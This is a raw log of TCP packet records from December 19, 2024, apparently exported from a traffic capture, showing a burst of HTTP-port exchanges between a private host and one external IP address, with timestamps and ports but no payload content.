Dec 19, 2024 03:09:32.454655886 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.454752922 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.454786062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.454811096 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.455635071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.455707073 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.455739975 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.455787897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.456563950 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.456621885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.456716061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.456769943 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.457653999 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.457710028 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.457793951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.457847118 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.458662033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.458697081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.458735943 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.458735943 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.459677935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.459697008 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.459731102 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.459753990 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.460650921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.460721016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.460777998 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.460833073 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.462157011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.462235928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.462315083 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.462363005 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.603161097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.603185892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.603327990 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.603528023 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.603545904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.603624105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.604367971 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.604392052 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.604437113 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.604441881 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.604496002 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.604496002 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.605340958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.605407953 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.606503010 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.606559038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.606831074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.606890917 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.607582092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.607635975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.607806921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.607856989 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.608426094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.608481884 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.608696938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.608753920 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.609499931 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.609519005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.609549999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.609575033 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.610523939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.610542059 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.610579967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.610611916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.611502886 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.611520052 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.611563921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.611563921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.612359047 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.612416983 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.612634897 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.612689018 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.613378048 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.613428116 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.613610029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.613626957 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.613643885 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.613660097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.613697052 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.613697052 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.614362001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.614435911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.614480019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.614531994 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.615365982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.615434885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.615494013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.615567923 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.616442919 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.616501093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.616544008 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.616591930 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.617358923 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.617415905 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.617593050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.617644072 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.618346930 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.618402958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.618486881 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.618541002 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.619391918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.619448900 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.619539976 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.619592905 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.620388985 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.620448112 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.620476007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.620528936 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.621484995 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.621562958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.621603966 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.621656895 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.622378111 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.622431993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.622523069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.622576952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.623409033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.623467922 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.623549938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.623604059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.624739885 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.624798059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.624849081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.624902964 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.625977039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.626045942 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.626089096 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.626179934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.627008915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.627068996 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.627118111 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.627173901 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.627813101 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.627866030 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.627870083 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.627918959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.628603935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.628678083 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.628695965 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.628743887 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.629381895 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.629441023 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.629494905 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.629549026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.630357027 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.630419970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.630466938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.630521059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.631432056 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.631493092 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.631511927 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.631563902 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.632539988 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.632596970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.632663965 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.632716894 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.633574963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.633631945 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.633661985 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.633716106 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.634418011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.634473085 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.634510040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.634566069 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.635394096 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.635452986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.635504961 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.635555029 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.636333942 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.636399031 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.636503935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.636576891 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.637336016 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.637406111 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.637449026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.637504101 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.638350010 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.638398886 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.638447046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.638514042 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.639384985 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.639436960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.639484882 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.639528990 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.640335083 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.640389919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.640439034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.640490055 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.641352892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.641407013 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.641566992 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.641621113 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.642338037 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.642390013 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.642455101 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.642501116 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.643388033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.643451929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.643481970 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.643534899 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.644330978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.644468069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.644524097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.645333052 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.645390034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.645477057 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.645528078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.646388054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.646442890 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.646473885 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.646524906 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.647357941 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.647413969 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.647449970 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.647497892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.648355007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.648416042 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.648464918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.648588896 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.649331093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.649389982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.649440050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.649491072 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.650321960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.650368929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.650414944 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.650465965 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.651348114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.651407957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.651428938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.651479959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.652380943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.652436972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.652440071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.652486086 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.653335094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.653388977 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.653450012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.653502941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.654279947 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.654334068 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.794682980 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.794708014 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.794792891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.794811010 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.794826984 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.794891119 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.795444012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.795506001 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.795819044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.795877934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.795981884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.796034098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.796828032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.796883106 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.796931982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.796986103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.797818899 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.797873020 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.798029900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.798082113 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.799098969 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.799298048 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.799369097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.800713062 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.800777912 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.800873995 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.800931931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.801841974 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.801903963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.801953077 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.802005053 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.802284956 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.802337885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.802342892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.802392960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.802963018 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.803014994 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.803045034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.803106070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.804044962 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.804105043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.804188967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.804244041 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.805053949 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.805109978 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.805221081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.805277109 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.806252956 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.806370974 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.806423903 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.807337046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.807431936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.807490110 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.808355093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.808409929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.808446884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.808501959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.809403896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.809458971 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.809513092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.809568882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.810569048 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.810632944 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.810671091 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.810699940 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.811599016 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.811656952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.811733007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.811786890 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.812690973 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.812854052 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.812908888 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.813895941 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.814101934 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.814158916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.814938068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.815016985 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.815025091 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.815073013 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.815823078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.815876961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.815921068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.816036940 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.816648006 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.816708088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.816740990 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.816801071 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.817229033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.817281008 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.817286015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.817336082 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.817954063 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.818008900 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.818109035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.818166971 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.818749905 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.818892002 CET	80	49885	31.41.244.11	192.168.2.5
